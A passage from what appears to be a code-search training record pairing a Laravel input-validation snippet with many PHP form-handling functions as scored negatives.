$reg_form_data['form_title'] = $row['form_title'];\n $reg_form_data['form_intro'] = $row['form_intro'];\n $reg_form_data['form_thank_u'] = $row['form_thank_u'];\n $reg_form_data['form_menu'] = $row['form_menu'];\n $reg_form_data['form_menu_parent'] = $row['form_menu_parent'];\n $reg_form_data['form_menu_item_text'] = $row['form_menu_item_text'];\n $reg_form_data['form_permissions'] = $row['form_permissions'];\n $reg_form_data['form_payment_required'] = $row['form_payment_required'];\n $reg_form_data['form_complete_action'] = $row['form_complete_action'];\n $reg_form_data['form_publish'] = $row['form_publish'];\n $reg_form_data['form_email_to'] = $row['form_email_to'];\n $reg_form_data['form_make_survey'] = $row['form_make_survey']; \n \n return $reg_form_data; \n\n }", "protected function loadFormData() {\n $data = $this->getData();\n\n return $data;\n }", "protected function loadFormData()\n {\n $data = JFactory::getApplication()->getUserState('com_labgeneagrogene.requests.data', array());\n\n if (empty($data)) {\n $id = JFactory::getApplication()->input->get('id');\n $data = $this->getData($id);\n }\n\n return $data;\n }", "function wyz_ajax_registration_form_builder_save_form() {\n\n\t$form_data = json_decode( stripslashes_deep( $_REQUEST['form_data'] ),true );\n\tif ( ! empty( $form_data ) && is_array( $form_data ) ) {\n\t\tforeach ( $form_data as $key => $value ) {\n\t\t\t$form_data[ $key ]['hidden'] = true;\n\t\t}\n\t}\n\tupdate_option( 'wyz_registration_form_data', $form_data );\n\twp_die();\n}", "public function getForm() {\n return $this->form;\n }", "public function WidgetSubmissionForm()\n {\n $formSectionData = new DataObject();\n $formSectionData->Form = $this->AddForm($this->extensionType);\n $formSectionData->Content = $this->dataRecord->AddContent;\n return $formSectionData;\n }", "public function getRegister()\n {\n return $this->showRegistrationForm();\n }", "public function getRegister()\n {\n return $this->showRegistrationForm();\n }", "function getDataForm(){\r\n\t\t\t\t$login = $_REQUEST['login']; //login\r\n\t\t\t\t$password = $_REQUEST['password'];//pas\r\n\t\t\t\t$dni = $_REQUEST['dni'];//dni\r\n\t\t\t\t$nombre = $_REQUEST['nombre'];//nombre\r\n\t\t\t\t$apellidos = $_REQUEST['apellidos'];//apellidos\r\n\t\t\t\t$telefono = $_REQUEST['telefono'];//telefono\r\n\t\t\t\t$email = $_REQUEST['email'];//email\r\n\t\t\t\t$fechanacimiento = $_REQUEST['fecha'];//fecha de nacimiento\r\n\t\t\t\t$tipo = $_REQUEST['tipo']; //tipo de usuario\r\n\t\t\t\t\r\n\t\t\t\t$usuario = new Usuarios_Model ($login,$password,$dni,$nombre,$apellidos,$telefono,$email,$fechanacimiento,$tipo); //creamos el objeto usuario\r\n\t\t\t\t\r\n\t\t\t\treturn $usuario; //devolvemos el objeto usuario\r\n\t\t\t}", "protected function loadFormData()\n\t{\n\t\t// Check the session for previously entered form data.\n\t\t$data = JFactory::getApplication()->getUserState('com_extporter.edit.extension.data', array());\n\t\n\t\tif (empty($data)) {\n\t\t\t$data = $this->getItem();\n\t\t}\n\t\n\t\treturn $data;\n\t}", "protected function form()\n {\n $form = new Form(new Member);\n\n $form->text('open_id', 'Open id');\n $form->text('wx_open_id', 'Wx open id');\n $form->text('access_token', 'Access token');\n $form->number('expires', 'Expires');\n $form->text('refresh_token', 'Refresh token');\n $form->text('unionid', 'Unionid');\n $form->text('nickname', 'Nickname');\n $form->switch('subscribe', 'Subscribe');\n $form->switch('sex', 'Sex');\n $form->text('headimgurl', 'Headimgurl');\n $form->switch('disablle', 'Disablle');\n $form->number('time', 'Time');\n $form->mobile('phone', 'Phone');\n\n return $form;\n }", "protected function loadFormData()\n\t{\n\t\t$data = Factory::getApplication()->getUserState(\n\t\t\t'com_bookingmanager.edit.customer.data',\n\t\t\tarray()\n\t\t);\n\n\t\tif (empty($data))\n\t\t{\n\t\t\t$data = $this->getItem();\n\t\t}\n\n\t\treturn $data;\n\t}", "public function getSessionData()\n {\n return $this->getSession()->get(\"FormInfo.{$this->FormName()}.data\");\n }", "abstract public function getForm() : void;", "function create_user_registration_form($data) {\n foreach($data as $key => $val) {\n echo '<div class=\"form-group\">\n <label for=\"'.$val.'\" class=\"pl-1\">'.$key.':';\n if ($val != \"mobile\") echo '*'; echo '</label>\n <input type=\"'.USERS_FORM_TYPES[$key].'\" class=\"form-control\"\n name=\"'.$val.'\" placeholder=\"'.$key.'\" maxlength=\"40\"';\n if (isset($_POST[$val])) echo ' value=\"'.$_POST[$val].'\"';\n echo '></div>';\n }\n }", "function readForm() {\n\t\t$this->FiscaalGroepID = $this->formHelper(\"FiscaalGroepID\", 0);\n\t\t$this->FiscaalGroupType = $this->formHelper(\"FiscaalGroupType\", 0);\n\t\t$this->GewijzigdDoor = $this->formHelper(\"GewijzigdDoor\", 0);\n\t\t$this->GewijzigdOp = $this->formHelper(\"GewijzigdOp\", \"\");\n\t}", "public function getForm($data = array(), $loadData = true)\n {\n // Get the form.\n $form = $this->loadForm('com_jtransport.config', 'config', array('control' => 'jform', 'load_data' => $loadData));\n\n if (empty($form))\n {\n return false;\n }\n\n return $form;\n }", "public function get_df() {\n return \\mod_dataform_dataform::instance($this->dataid);\n }", "public static function get_user_data()\n {\n }", "private function _get_login_form() {\n\t\t$data['username_email'] = array(\n\t\t\t'name' => 'username_email',\n\t\t\t'id' => 'username_email',\n\t\t\t'type' => 'text',\n\t\t\t'value' => isset($_POST['username_email']) ? $_POST['username_email'] : ''\n\t\t);\n\t\t$data['password'] = array(\n\t\t\t'name' => 'password',\n\t\t\t'id' => 'password',\n\t\t\t'type' => 'password',\n\t\t\t'value' => isset($_POST['password']) ? $_POST['password'] : '',\n\t\t);\n\t\t$data['stay_logged_in'] = array(\n\t\t\t'name' => 'stay_logged_in',\n\t\t\t'id' => 'stay_logged_in',\n\t\t\t'type' => 'checkbox',\n\t\t);\n\t\tif(isset($_POST['stay_logged_in'])) {\n\t\t\t$data['stay_logged_in']['checked'] = 'checked';\n\t\t}\n\t\treturn $data;\n\t}", "protected function loadFormData() \n\t{\n\t\t$data = JFactory::getApplication()->getUserState('com_squadmanagement.edit.war.data', array());\n\t\tif (empty($data)) \n\t\t{\n\t\t\t$data = $this->getItem();\n\t\t}\n\t\treturn $data;\n\t}", "function m_dspSignupForm()\n\t{\n\t\t#INTIALIZING TEMPLATES\n\t\t$this->ObTpl=new template();\n\t\t$this->ObTpl->set_file(\"TPL_USER_FILE\", $this->userTemplate);\n\t\t$this->ObTpl->set_var(\"GRAPHICSMAINPATH\",GRAPHICS_PATH);\t\n\t\t$this->ObTpl->set_var(\"TPL_VAR_SITEURL\",SITE_URL);\n\t\t$this->ObTpl->set_block(\"TPL_USER_FILE\",\"TPL_NEWSLETTER_BLK\",\"news_blk\");\n\t//\t$this->ObTpl->set_block(\"TPL_USER_FILE\",\"DSPMSG_BLK\", \"msg_blk\");\n\t\t$this->ObTpl->set_block(\"TPL_USER_FILE\",\"TPL_CAPTCHA_BLK\",\"captcha_blk\");\n\t\t$this->ObTpl->set_var(\"captcha_blk\",\"\");\n\t\t$this->ObTpl->set_block(\"TPL_USER_FILE\",\"countryblk\",\"countryblks\");\n\t\t$this->ObTpl->set_block(\"TPL_USER_FILE\",\"BillCountry\",\"nBillCountry\");\n\t\t$this->ObTpl->set_block(\"TPL_USER_FILE\",\"stateblk\",\"stateblks\");\n\t\t$this->ObTpl->set_var(\"TPL_USERURL\",SITE_URL.\"user/\");\n\t\t$this->ObTpl->set_var(\"TPL_VAR_CPASS\",\"\");\n\t\t$this->ObTpl->set_var(\"news_blk\",\"\");\n\t\t$this->ObTpl->set_var(\"TPL_VAR_MSG\",\"\");\n\t\t$this->ObTpl->set_var(\"TPL_VAR_CHECK1\",\"\");\n\t\t$this->ObTpl->set_var(\"TPL_VAR_CHECK2\",\"\");\n\t\t$this->ObTpl->set_var(\"TPL_VAR_CHECK3\",\"\");\n\n\t\t#INTIALIZING\n\t\t$row_customer[0]->vFirstName = \"\";\n\t\t$row_customer[0]->vLastName =\"\";\n\t\t$row_customer[0]->vEmail = \"\";\n\t\t$row_customer[0]->vPassword = \"\";\n\t\t$row_customer[0]->vPhone = \"\";\n\t\t$row_customer[0]->vCompany = \"\";\n\t\t$row_customer[0]->vAddress1 = \"\";\n\t\t$row_customer[0]->vAddress2 = \"\";\n\t\t$row_customer[0]->vState =\"\";\n\t\t$row_customer[0]->vStateName=\"\";\n\t\t$row_customer[0]->vCity = \"\";\n\t\t$row_customer[0]->vCountry = \"\";\t\n\t\t$row_customer[0]->vZip = \"\";\t\n\t\t$row_customer[0]->vHomePage = \"\";\t\n\t\t$row_customer[0]->fMemberPoints = \"\";\n\t\t$row_customer[0]->iMailList = \"1\";\n\t\t$row_customer[0]->iStatus = \"1\";\n\n\n\t\t/*CHECKING FOR POST VARIABLES\n\t\tIF VARIABLES ARE SET THEN ASSIGNING THEIR VALUE TO VARIABLE SAMEVARIABLE\n\t\tAS USED WHEN RETURNED FROM DATABASE\n\t\tTHIS THING IS USED TO REMOVE REDUNDANCY AND USE SAME FORM FOR EDIT AND INSERT*/\n\n\t\tif(count($_POST) > 0)\n\t\t{\n\t\t\tif(isset($this->request[\"first_name\"]))\n\t\t\t\t$row_customer[0]->vFirstName = $this->request[\"first_name\"];\n\t\t\tif(isset($this->request[\"password\"]))\n\t\t\t\t$row_customer[0]->vPassword = $this->request[\"password\"];\n\t\t\t$this->ObTpl->set_var(\"TPL_VAR_CPASS\", $this->libFunc->m_displayContent($this->request[\"verify_pw\"]));\n\t\t\tif(isset($this->request[\"last_name\"]))\n\t\t\t\t$row_customer[0]->vLastName = $this->request[\"last_name\"];\n\t\n\t\t\tif(isset($this->request[\"company\"]))\n\t\t\t\t$row_customer[0]->vCompany = $this->request[\"company\"];\n\t\t\tif(isset($this->request[\"txtemail\"]))\n\t\t\t\t$row_customer[0]->vEmail = $this->request[\"txtemail\"];\n\t\t\tif(isset($this->request[\"address1\"]))\n\t\t\t\t$row_customer[0]->vAddress1 = $this->request[\"address1\"];\n\t\t\tif(isset($this->request[\"address2\"]))\n\t\t\t\t$row_customer[0]->vAddress2 = $this->request[\"address2\"];\n\t\t\tif(isset($this->request[\"city\"]))\n\t\t\t\t$row_customer[0]->vCity = $this->request[\"city\"];\n\t\t\tif(isset($this->request[\"bill_state_id\"]))\n\t\t\t\t$row_customer[0]->vState = $this->request[\"bill_state_id\"];\t\n\t\t\tif(isset($this->request[\"bill_state\"]))\n\t\t\t\t$row_customer[0]->vStateName = $this->request[\"bill_state\"];\t\n\t\t\tif(isset($this->request[\"zip\"]))\n\t\t\t\t$row_customer[0]->vZip = $this->request[\"zip\"];\t\n\t\t\tif(isset($this->request[\"bill_country_id\"]))\n\t\t\t\t$row_customer[0]->vCountry = $this->request[\"bill_country_id\"];\t\n\t\t\tif(isset($this->request[\"phone\"]))\n\t\t\t\t$row_customer[0]->vPhone = $this->request[\"phone\"];\t\n\t\t\tif(isset($this->request[\"homepage\"]))\n\t\t\t\t$row_customer[0]->vHomePage = $this->request[\"homepage\"];\t\n\t\t\tif(isset($this->request[\"mail_list\"]))\n\t\t\t\t$row_customer[0]->iMailList = $this->request[\"mail_list\"];\t\n\t\t\tif(isset($this->request[\"member_points\"]))\n\t\t\t\t$row_customer[0]->fMemberPoints = $this->request[\"member_points\"];\t\n\t\t\tif(isset($this->request[\"iStatus\"]))\n\t\t\t\t$row_customer[0]->iStatus = $this->request[\"status\"];\t\n\t\t\telse\n\t\t\t\t$row_customer[0]->iStatus = \"\";\n\t\t}\n\t\n\t\t#DISPLAYING MESSAGES\n\t\tif($this->err==1)\n\t\t{\n\t\t\t$this->ObTpl->set_var(\"TPL_VAR_MSG\",$this->errMsg);\n\t\t}\n\n\n\t\t#IF EDIT MODE SELECTED\n\n\t\t#ASSIGNING FORM ACTION\t\t\t\t\t\t\n\t\t$this->ObTpl->set_var(\"FORM_URL\", SITE_URL.\"user/adminindex.php?action=user.updateUser\");\n\t\t\n\t\t$this->obDb->query = \"SELECT iStateId_PK, vStateName FROM \".STATES.\" ORDER BY vStateName\";\n\t\t$row_state = $this->obDb->fetchQuery();\n\t\t$row_state_count = $this->obDb->record_count;\n\t\t\n\t\t$this->obDb->query = \"SELECT iCountryId_PK, vCountryName, vShortName FROM \".COUNTRY.\" ORDER BY iSortFlag,vCountryName\";\n\t\t$row_country = $this->obDb->fetchQuery();\n\t\t$row_country_count = $this->obDb->record_count;\n\n\t\t# Loading billing country list\t\t\n\t\tfor($i=0;$i<$row_country_count;$i++)\n\t\t{\n\t\t\t$this->ObTpl->set_var(\"k\", $row_country[$i]->iCountryId_PK);\n\t\t\t$this->ObTpl->parse('countryblks','countryblk',true);\n\t\t\t$this->ObTpl->set_var(\"TPL_COUNTRY_VALUE\", $row_country[$i]->iCountryId_PK);\n\t\t\t\n\t\t\t\n\t\t\tif($row_customer[0]->vCountry> 0)\n\t\t\t{\n\t\t\t\tif($row_customer[0]->vCountry == $row_country[$i]->iCountryId_PK)\n\t\t\t\t\t$this->ObTpl->set_var(\"BILL_COUNTRY_SELECT\", \"selected=\\\"selected\\\"\");\n\t\t\t\telse\n\t\t\t\t\t$this->ObTpl->set_var(\"BILL_COUNTRY_SELECT\", \"\");\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t\t$row_customer[0]->vCountry = SELECTED_COUNTRY;\n\t\t\t\t\t//echo SELECTED_COUNTRY;\n\n\t\t\t\t\tif($row_country[$i]->iCountryId_PK==$row_customer[0]->vCountry)\n\t\t\t\t\t{\n\t\t\t\t\t\t$this->ObTpl->set_var(\"BILL_COUNTRY_SELECT\",\"selected=\\\"selected\\\"\");\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\t$this->ObTpl->set_var(\"BILL_COUNTRY_SELECT\", \"\");\n\t\t\t\t\t}\n\t\t\t}\t\n\n\t\t\t$this->ObTpl->set_var(\"TPL_COUNTRY_NAME\",$this->libFunc->m_displayContent($row_country[$i]->vCountryName));\n\t\t\t$this->ObTpl->parse(\"nBillCountry\",\"BillCountry\",true);\n\t\t}\n\t\t\n\t\tif(isset($row_customer[0]->vCountry) && $row_customer[0]->vCountry != '')\t\n\t\t\t$this->ObTpl->set_var('selbillcountid',$row_customer[0]->vCountry);\n\t\telse\n\t\t\t$this->ObTpl->set_var('selbillcountid',\"251\");\n\n\n\t\tif(isset($row_customer[0]->vState) && $row_customer[0]->vState != '')\n\t\t\t$this->ObTpl->set_var('selbillstateid',$row_customer[0]->vState);\n\t\telse\n\t\t\t$this->ObTpl->set_var('selbillstateid',0);\n\t\t\n\t\t\t\n\t\t\n\t\t# Loading the state list here\n\t\t$this->obDb->query = \"SELECT C.iCountryId_PK as cid,S.iStateId_PK as sid,S.vStateName as statename FROM \".COUNTRY.\" C,\".STATES.\" S WHERE S.iCountryId_FK=C.iCountryId_PK ORDER BY C.vCountryName,S.vStateName\";\n\t\t$cRes = $this->obDb->fetchQuery();\n\t\t$country_count = $this->obDb->record_count;\n\n\t\tif($country_count == 0)\n\t\t{\n\t\t\t$this->ObTpl->set_var(\"countryblks\", \"\");\n\t\t\t$this->ObTpl->set_var(\"stateblks\", \"\");\n\t\t}\n\t\telse\n\t\t{\n\t\t$loopid=0;\n\t\t\tfor($i=0;$i<$country_count;$i++)\n\t\t\t{\n\t\t\t\tif($cRes[$i]->cid==$loopid)\n\t\t\t\t{\n\t\t\t\t\t$stateCnt++;\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\t$loopid=$cRes[$i]->cid;\n\t\t\t\t\t$stateCnt=0;\n\t\t\t\t}\n\t\t\t\t$this->ObTpl->set_var(\"i\", $cRes[$i]->cid);\n\t\t\t\t$this->ObTpl->set_var(\"j\", $stateCnt);\n\t\t\t\t$this->ObTpl->set_var(\"stateName\",$cRes[$i]->statename);\n\t\t\t\t$this->ObTpl->set_var(\"stateVal\",$cRes[$i]->sid);\n\t\t\t\t$this->ObTpl->parse('stateblks','stateblk',true);\n\t\t\t}\n\t\t}\n\n\n\t\t#ASSIGNING FORM VARAIABLES\n\n\t\t$this->ObTpl->set_var(\"TPL_VAR_FNAME\", $this->libFunc->m_displayContent($row_customer[0]->vFirstName));\n\t\t$this->ObTpl->set_var(\"TPL_VAR_LNAME\", $this->libFunc->m_displayContent($row_customer[0]->vLastName));\n\t\t$this->ObTpl->set_var(\"TPL_VAR_EMAIL\", $this->libFunc->m_displayContent($row_customer[0]->vEmail));\n\t\t$this->ObTpl->set_var(\"TPL_VAR_PASS\", $this->libFunc->m_displayContent($row_customer[0]->vPassword));\n\t\t$this->ObTpl->set_var(\"TPL_VAR_ADDRESS1\", $this->libFunc->m_displayContent($row_customer[0]->vAddress1 ));\n\t\t$this->ObTpl->set_var(\"TPL_VAR_ADDRESS2\", $this->libFunc->m_displayContent($row_customer[0]->vAddress2 ));\n\t\t$this->ObTpl->set_var(\"TPL_VAR_CITY\", $this->libFunc->m_displayContent($row_customer[0]->vCity));\n\n\t\t$this->ObTpl->set_var(\"TPL_VAR_STATE\",\n\t\t\t$this->libFunc->m_displayContent($row_customer[0]->vState ));\n\t\tif($row_customer[0]->vState>1)\n\t\t\t{\n\t\t\t\t$this->ObTpl->set_var(\"BILL_STATE\",\"\");\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$this->ObTpl->set_var(\"BILL_STATE\",\n\t\t\t\t$this->libFunc->m_displayContent($row_customer[0]->vStateName));\n\t\t\t}\n\t\t$this->ObTpl->set_var(\"TPL_VAR_COUNTRY\",\n\t\t\t$this->libFunc->m_displayContent($row_customer[0]->vCountry ));\n\t\t$this->ObTpl->set_var(\"TPL_VAR_ZIP\",\n\t\t\t$this->libFunc->m_displayContent($row_customer[0]->vZip));\n\t\t$this->ObTpl->set_var(\"TPL_VAR_COMPANY\",\n\t\t\t$this->libFunc->m_displayContent($row_customer[0]->vCompany));\n\t\t$this->ObTpl->set_var(\"TPL_VAR_PHONE\",\n\t\t\t$this->libFunc->m_displayContent($row_customer[0]->vPhone));\n\t\t$this->ObTpl->set_var(\"TPL_VAR_HOMEPAGE\",\n\t\t\t$this->libFunc->m_displayContent($row_customer[0]->vHomePage));\n\t\t\n\t\tif(CAPTCHA_REGISTRATION){\n\t\t\t$this->ObTpl->parse(\"captcha_blk\",\"TPL_CAPTCHA_BLK\",true);\n\t\t}\n\n\t\tif(MAIL_LIST==1)\n\t\t{\n\t\t\tif($row_customer[0]->iMailList==1)\n\t\t\t{\n\t\t\t\t$this->ObTpl->set_var(\"TPL_VAR_CHECK1\",\"selected=\\\"selected\\\"\");\n\t\t\t}\n\t\t\telseif($row_customer[0]->iMailList==2)\n\t\t\t{\n\t\t\t\t$this->ObTpl->set_var(\"TPL_VAR_CHECK2\",\"selected=\\\"selected\\\"\");\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$this->ObTpl->set_var(\"TPL_VAR_CHECK3\",\"selected=\\\"selected\\\"\");\n\t\t\t}\n\t\t\t$this->ObTpl->parse('news_blk','TPL_NEWSLETTER_BLK');\n\t\t}\n\t\t\n\t\treturn $this->ObTpl->parse(\"return\",\"TPL_USER_FILE\");\n\t}", "public function getContent() {\n\t\treturn $this->registerView->getRegisterForm();\n\t}", "function &returnForm()\n\t{\n\t\treturn $this->form;\n\t}", "protected function loadFormData() \n\t{\n\t\t$data = JFactory::getApplication()->getUserState('com_mams.edit.auth.data', array());\n\t\tif (empty($data)) \n\t\t{\n\t\t\t$data = $this->getItem();\n\t\t\tif ($this->getState('auth.auth_id') == 0) {\n\t\t\t\t\n\t\t\t}\n\t\t}\n\t\treturn $data;\n\t}" ]
[ "0.72134745", "0.71625316", "0.69593614", "0.68904096", "0.6836967", "0.68180835", "0.678044", "0.6747373", "0.6697124", "0.6669376", "0.6500443", "0.64769113", "0.6436629", "0.6432337", "0.6426713", "0.6400508", "0.6390015", "0.63717365", "0.6331609", "0.62932825", "0.628754", "0.6261347", "0.6256684", "0.6256684", "0.62546515", "0.6251893", "0.62097543", "0.6206933", "0.62015575", "0.6200628", "0.6197632", "0.61889464", "0.61840224", "0.6177547", "0.61489385", "0.6143833", "0.6117194", "0.60882616", "0.60747075", "0.6073685", "0.6064862", "0.6062055", "0.6047247", "0.60444194", "0.60424685", "0.60216784", "0.6017369", "0.6017228", "0.60128134", "0.6005657", "0.5992984", "0.59675837", "0.5967036", "0.59662104", "0.5965799", "0.5965233", "0.5965206", "0.59643054", "0.5951662", "0.59451765", "0.5937787", "0.5937044", "0.59283346", "0.5925389", "0.59248984", "0.59199506", "0.59185636", "0.5916832", "0.5887797", "0.5879162", "0.58715284", "0.5870083", "0.5855909", "0.58550787", "0.5854449", "0.5849442", "0.5833642", "0.5832502", "0.5830336", "0.582527", "0.5822202", "0.5819376", "0.5819376", "0.5815567", "0.5809684", "0.5796881", "0.5793235", "0.578966", "0.5783938", "0.5780719", "0.57793903", "0.5758796", "0.5758651", "0.5757252", "0.5749708", "0.57465345", "0.5744622", "0.57440114", "0.5743987", "0.57406867" ]
0.7157795
2
If the $input variable is null, automatically set it to Input::all().
public function validate($input=null, $rules=null) { if (is_null($input)) { $input = Input::all(); } // If the $rules variable is null, create the default rules for validating // this object. if (is_null($rules)) { $rules = array( 'email' => 'required|email', 'password' => 'required|alpha_num', ); } // Return the validation object. return \Validator::make($input, $rules); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function setInput(Input $input): void {}", "private function getInput() : void {\n\t\t$input = @file_get_contents('php://input');\n\n\t\t// Check if input is json encoded\n\t\t$decode = json_decode($input, true);\n\t\tif (json_last_error() == JSON_ERROR_NONE) {\n\t\t\t$input = $decode;\n\t\t}\n\n\t\tif (!is_array($input)) {\n\t\t\t$input = (array) $input;\n\t\t}\n\n\t\t$get = $_SERVER['QUERY_STRING'] ?? '';\n\t\t$get = explode('&', $get);\n\t\tforeach ($get as $item) {\n\t\t\t$item = explode('=', $item);\n\t\t\tif (count($item) !== 2) {\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\t$this->input[$item[0]] = $item[1];\n\t\t}\n\n\t\t$this->input = array_merge($this->input, $input);\n\t}", "public function useInput()\n\t{\n\t\t$this->use_defaults = false;\n\t}", "protected function processInput()\n {\n if (empty($this->input)) {\n $this->input = request()->except('_token');\n\n if ($this->injectUserId) {\n $this->input['user_id'] = Auth::user()->id;\n }\n }\n $this->sanitize();\n request()->replace($this->input); // @todo IS THIS NECESSARY?\n }", "protected function setInput($input) \n\t{\n\t\tis_array($input) ? $this->input = $input : $this->setEntity($input); \t\t\n\n\t\treturn static::$self;\t\t\n\t}", "public function setRawInput( $input='' )\n {\n if( !empty( $input ) && is_string( $input ) )\n {\n $this->input = trim( $input );\n }\n }", "final public function GetInput() { return $this->input; }", "public function setInput($input) {\n $this->input = $input;\n return $this;\n }", "private function getDefaultInput(InputInterface $input) {\n\n// $newInput->setOption(\"env\", $input->getOption(\"env\"));\n\n return $input; //$newInput;\n }", "public function resetInput(){\n $this->userId = null;\n $this->name = null;\n $this->role = null;\n }", "public function pre_save($input)\n\t{\n\t\treturn $input;\n\t}", "protected function parseRequest()\n {\n $this->input = $this->request->getPostList()->toArray();\n }", "public function fillModel(&$model, $input)\n {\n $model->{$this->getOption('field_name')} = is_null($input) || $input === '' ? null : $this->parseNumber($input);\n }", "protected function readInput() : void {\n\t\t\tif ($this->input === null) {\n\t\t\t\ttry {\n\t\t\t\t\tif (($this->input = @file_get_contents(\"php://input\")) === false) {\n\t\t\t\t\t\t$this->input = '';\n\t\t\t\t\t}\n\t\t\t\t} catch (\\Exception $ex) {\n\t\t\t\t\t$this->input = '';\n\t\t\t\t}\n\t\t\t}\n\n\t\t\treturn;\n\t\t}", "public function create()\n\t{\n\t\treturn Input::all();\n\t}", "function input($name = null, $default = null)\n {\n if ($name === null) {\n return Input::all();\n }\n\n /*\n * Array field name, eg: field[key][key2][key3]\n */\n if (class_exists('October\\Rain\\Html\\Helper')) {\n $name = implode('.', October\\Rain\\Html\\Helper::nameToArray($name));\n }\n\n return Input::get($name, $default);\n }", "public function prepareForInsert($input = null) {\n\t\tif (!isset($input))\n\t\t{\n\t\t\treturn false;\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$tmp = array();\n\t\t\tforeach ($input as $key => $value){\n\t\t\t\t$tmp[$key] = mb_strtoupper($value);\n\t\t\t}\n\t\t\treturn array_replace($this->getAttributes(), $tmp);\n\t\t}\n\t}", "private static function input()\n {\n $files = ['Input'];\n $folder = static::$root.'Http'.'/';\n\n self::call($files, $folder);\n\n Input::register();\n }", "function make_single_input($request)\n{\n // Create container\n $data = [];\n\n // Add data to array\n $data[$request->name] = $request->value;\n\n // Return input\n return $data;\n}", "protected function processRequestInput(Request $request)\n {\n $input = $request->all();\n \n return $input;\n }", "public function getInputs()\r\n {\r\n $this->inputs = $this->getReflection('inputs');\r\n }", "protected function inputs()\n {\n return [];\n }", "public function getInputValues();", "public function fillModel(&$model, $input)\n\t{\n\t\t$model->{$this->getOption('field_name')} = $input;\n\t}", "function setInput($input, $template) {\n $this->input = createArray($input,$template);\n }", "function setInputValues()\n {\n // Set input type based on GET/POST\n $inputType = ($_SERVER['REQUEST_METHOD'] === 'POST') ? INPUT_POST : INPUT_GET;\n // Init global variables\n global $typeID, $classID, $makeID, $price, $model, $year;\n global $sort, $sortDirection;\n // Set each variable, escape special characters\n $typeID = filter_input($inputType, 'typeID', FILTER_VALIDATE_INT);\n $classID = filter_input($inputType, 'classID', FILTER_VALIDATE_INT);\n $makeID = filter_input($inputType, 'makeID', FILTER_VALIDATE_INT);\n $sort = filter_input($inputType, 'sort', FILTER_VALIDATE_INT);\n $sortDirection = filter_input($inputType, 'sortDirection', FILTER_VALIDATE_INT);\n $price = filter_input($inputType, 'price', FILTER_VALIDATE_INT);\n $year = filter_input($inputType, 'year', FILTER_VALIDATE_INT);\n $model = htmlspecialchars(filter_input($inputType, 'model'));\n }", "public function __construct($input= null){\n\n\t\t//If in the model there are columns\n\t\tif(static::$columns){\n\t\t\tforeach(static::$columns as $column){\n\t\t\t\t$this->$column = null;\n\t\t\t\t$this->errors[$column] = null;\n\t\t\t}\n\t\t}\n\n\t\t//Find to see if there is database entry\n\t\tif(is_integer($input) && $input > 0){\n\t\t\t$this->find($input);\n\t\t}\n\n\t\t//If there is an input in the array then process this function\n\t\tif(is_array($input)){\n\t\t\t//If input is an array, load that data from the array\n\t\t\t$this->processArray($input);\n\t\t}\n\t}", "private function resetInputFields()\n {\n $this->agency_id = '';\n $this->state_id = '';\n $this->name = '';\n $this->logo = '';\n $this->email = '';\n $this->phone = '';\n $this->fax = '';\n $this->address = '';\n $this->facebook = '';\n $this->instagram = '';\n $this->youtube = '';\n $this->viber = '';\n $this->whatsapp = '';\n $this->url = '';\n }", "public function get_input()\n {\n }", "protected function getInputFieldStore(){\n return Input::only(self::NAME, self::DEPARTMENT_ID);\n }", "public function __construct($input)\n {\n $this->input = $input;\n }", "public function getInput() {}", "public function setInput(InputInterface $input);", "public function setInput(InputInterface $input);", "public function __construct(Input $input)\n {\n $this->input = $input;\n }", "private function resetInputFields(){\n $this->name = '';\n $this->content = '';\n $this->todo_id = '';\n }", "protected function getInputFieldUpdate(){\n return Input::only(self::NAME, self::DEPARTMENT_ID);\n }", "public function __construct(Input $input)\n {\n $this->input = $input;\n// $this->middleware('rest');\n }", "private function resetInputFields()\n {\n $this->name = '';\n $this->code = '';\n $this->agency_id = '';\n\n $this->phone = '';\n $this->fax = '';\n\n $this->email = '';\n $this->address = '';\n $this->country = '';\n }", "public function reset() {\n\t\t\t$this->__construct($this->input);\n\t\t}", "public function setInput($input): self\n {\n $this->input = ProcessUtils::validateInput(__METHOD__, $input);\n\n return $this;\n }", "public function fillWithInput(array $input)\n {\n $scalars = $this->getFillableScalars($input);\n $relations = $this->getFillableRelations($input);\n $connections = $this->getFillableConnections($input);\n\n $this->fillScalars($scalars);\n $this->fillRelations($relations);\n $this->fillConnections($connections);\n\n return $this;\n }", "public function input_attrs()\n {\n }", "public function getInput(): Input\n\t{\n\t\treturn $this->input;\n\t}", "function input($key = null, $default = null)\n {\n if (! is_null($key)) {\n return app('request')->input($key, $default);\n }\n\n return app('request');\n }", "private function input(){\n $this->params['controller_name'] = $this->ask('Controller name');\n $this->params['crud_url'] = $this->ask('CRUD url');\n $this->params['model_name'] = $this->ask('Model name');\n $this->params['table_name'] = $this->ask('Table name');\n $this->params['author'] = env('PACKAGE_AUTHOR');\n }", "public function value($input = NULL){\n\t\tif ($input !== NULL) {\n\t\t\tif (is_array($input)) {\n\t\t\t\tforeach ($input as $name => $bool) {\n\t\t\t\t\t$this->selected[$this->name().'_'.$name] = (bool)$bool;\n\t\t\t\t}\n\t\t\t}\n\t\t} else {\n\t\t\tif ($_POST) {\n\n\t\t\t\t$this->_update_selected_values();\n\t\t\t\t$out = Array();\n\t\t\t\tforeach ($this->options as $value => $label) {\n\t\t\t\t\t$out[$value] = (int)(isset($this->selected[$this->name().'_'.$value]));\n\t\t\t\t}\n\t\t\t\tforeach ($this->others as $value => $label) {\n\t\t\t\t\t$other_name = $this->name().'_'.$value;\n\n\n\t\t\t\t\tforeach ($_POST[$other_name] as $val) {\n\t\t\t\t\t\tif ($val != $other_name) {\n\t\t\t\t\t\t\t$out[$value] = stripslashes($val);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\treturn $out;\n\t\t\t}\n\t\t}\n\t}", "protected function prepareForValidation()\n {\n $this->merge([\n self::ATTRIBUTE_REFERER => $this->prepareArray($this->input(self::ATTRIBUTE_REFERER)),\n self::ATTRIBUTE_IP => $this->prepareArray($this->input(self::ATTRIBUTE_IP)),\n ]);\n }", "public function getInputData()\n {\n return $this->env['INPUT'];\n 